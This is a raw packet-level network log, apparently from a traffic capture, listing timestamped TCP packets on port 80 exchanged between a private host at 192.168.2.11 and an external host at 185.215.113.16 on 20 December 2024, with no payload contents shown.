Dec 20, 2024 16:20:33.691622019 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.692608118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.692941904 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.693089008 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.693720102 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.693733931 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.693830013 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.694962025 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.695050955 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.695101976 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.695939064 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.696208954 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.696343899 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.697020054 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.697154999 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.697256088 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.698122025 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.698301077 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.698481083 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.699322939 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.699564934 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.699749947 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.700319052 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.700530052 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.700691938 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.701420069 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.701527119 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.701572895 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.702554941 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.702780008 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.702830076 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.703650951 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.703924894 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.704135895 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.704807043 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.705068111 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.705116987 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.705910921 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.706008911 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.706056118 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.706991911 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.707257986 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.707331896 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.708179951 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.708451033 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.708599091 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.709156990 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.709283113 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.709400892 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.710278988 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.710952997 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.711009979 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.711334944 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.711534977 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.711836100 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.712492943 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.712738991 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.712796926 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.713540077 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.713751078 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.714092016 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.714694023 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.759474993 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.851022959 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.851445913 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.851490974 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.851505041 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.851587057 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.852582932 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.852585077 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.852686882 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.852756977 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.853692055 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.853872061 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.853914022 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.854813099 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.855170965 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.855246067 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.856081963 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.856431007 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.856478930 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.857081890 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.857611895 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.857703924 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.858079910 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.858174086 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.858460903 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.859199047 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.859817982 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.859889030 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.860265017 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.860529900 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.861268044 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.861394882 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.861527920 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.862010002 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.862488985 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.862838030 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.862885952 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.863590956 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.864018917 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.864097118 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.864726067 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.865813971 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.865845919 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.865863085 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.865895033 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.866568089 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.866971970 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.867398977 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.868016005 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.868086100 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.868185043 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.868283033 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.869112968 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.869224072 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.870157003 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.870203018 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.870434046 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.870476961 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.871329069 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.871701956 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.871856928 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.872746944 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.873516083 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.873538971 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.873550892 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.873594046 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.873614073 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.874640942 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.875121117 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.875214100 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.875721931 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.875955105 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.876056910 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.876790047 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.877315998 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.877383947 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.877975941 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.878218889 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.878267050 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.879048109 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.880014896 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.880079985 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.880116940 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.880131006 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.880175114 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.881202936 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.882299900 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.882320881 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.882334948 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.882380009 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.882406950 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.883594036 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.884558916 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.884571075 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.884661913 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.885210037 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.885324001 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.885721922 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.885833979 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.885901928 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.886784077 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.887622118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.887901068 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.887980938 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.888987064 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.889002085 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.889070034 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.889543056 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.889591932 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.890121937 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.890135050 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.890224934 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.891180038 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.892632008 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.892709970 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.893326998 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.893484116 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.893496990 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.893527031 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.893922091 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.893985987 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.894505978 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.894520044 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.894579887 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.895575047 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.896192074 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.896713972 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.896739960 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.896795988 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.896795988 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.897814989 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.898108959 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.898217916 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.898910999 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.899127960 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.899255991 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.900027037 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.900072098 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.900320053 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.901086092 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.901304007 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.901366949 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.902154922 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.902501106 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.902565002 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.903264046 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.903390884 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.903506994 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.904439926 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.904778004 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.904846907 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.905500889 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.905675888 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.906579971 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.906666994 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.906750917 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.906814098 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.907696962 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.908072948 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.908140898 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.908740997 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.962522984 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.045861006 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.046196938 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.046319008 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.046413898 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.047568083 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.047638893 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.047641993 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.047677994 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.048458099 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.048593044 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.048737049 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.048793077 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.049751043 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.050106049 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.050165892 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.050815105 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.051076889 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.051557064 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.051912069 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.052022934 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.052083015 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.053054094 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.053221941 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.053308010 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.054277897 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.054406881 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.054485083 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.055273056 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.055474997 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.055598974 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.056346893 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.056449890 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.056541920 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.057468891 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.058041096 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.058100939 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.058569908 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.058799028 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.058932066 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.059653997 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.059941053 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.060110092 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.060791969 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.061005116 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.061120987 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.061851025 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.062242031 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.062612057 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.062932968 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.063177109 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.063302040 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.064105988 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.064471006 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.064536095 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.065190077 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.065587044 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.065912962 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.066265106 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.066550970 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.066629887 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.067387104 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.067544937 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.068022966 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.068466902 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.069184065 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.069240093 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.069552898 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.070077896 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.070152044 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.070713997 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.070955038 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.071019888 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.071849108 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.071940899 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.072052002 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.072902918 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.073043108 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.073395014 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.074019909 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.074146032 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.074294090 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.075248957 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.075390100 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.075449944 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.076225042 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.076402903 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.076558113 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.077306032 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.077462912 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.077610970 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.078458071 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.078567028 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.078906059 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.079547882 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.079758883 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.079813957 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.080643892 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.080919981 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.080976009 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.081706047 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.081857920 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.081921101 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.082798958 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.083117008 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.083194971 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.083899021 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.084697962 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.084784031 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.085000992 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.085232019 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.085287094 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.086083889 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.087053061 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.087192059 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.087225914 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.087263107 CET	80	49717	185.215.113.16	192.168.2.11
